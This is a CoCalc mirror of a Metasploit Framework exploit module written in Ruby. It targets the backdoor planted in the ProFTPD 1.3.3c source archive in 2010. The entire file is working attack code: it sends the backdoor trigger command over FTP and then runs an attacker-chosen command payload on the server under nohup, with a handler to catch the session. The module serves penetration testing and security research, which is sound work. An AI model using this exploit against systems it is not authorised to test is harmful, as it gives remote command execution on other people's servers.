Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb
19721 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Ftp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'ProFTPD-1.3.3c Backdoor Command Execution',
16
'Description' => %q{
17
This module exploits a malicious backdoor that was added to the
18
ProFTPD download archive. This backdoor was present in the proftpd-1.3.3c.tar.[bz2|gz]
19
archive between November 28th 2010 and 2nd December 2010.
20
},
21
'Author' => [ 'MC', 'darkharper2' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'OSVDB', '69562'],
25
[ 'BID', '45150' ]
26
],
27
'Privileged' => true,
28
'Platform' => [ 'unix' ],
29
'Arch' => ARCH_CMD,
30
'Payload' => {
31
'Space' => 2000,
32
'BadChars' => '',
33
'DisableNops' => true,
34
'Compat' =>
35
{
36
'PayloadType' => 'cmd',
37
'RequiredCmd' => 'generic perl telnet',
38
}
39
},
40
'Targets' => [
41
[ 'Automatic', {} ],
42
],
43
'DisclosureDate' => '2010-12-02',
44
'DefaultTarget' => 0,
45
'Notes' => {
46
'Reliability' => UNKNOWN_RELIABILITY,
47
'Stability' => UNKNOWN_STABILITY,
48
'SideEffects' => UNKNOWN_SIDE_EFFECTS
49
}
50
)
51
)
52
53
deregister_options('FTPUSER', 'FTPPASS')
54
end
55
56
def exploit
57
connect
58
59
print_status("Sending Backdoor Command")
60
sock.put("HELP ACIDBITCHEZ\r\n")
61
62
res = sock.get_once(-1, 10)
63
64
if (res and res =~ /502/)
65
print_error("Not backdoored")
66
else
67
sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")
68
handler
69
end
70
71
disconnect
72
end
73
end
74
75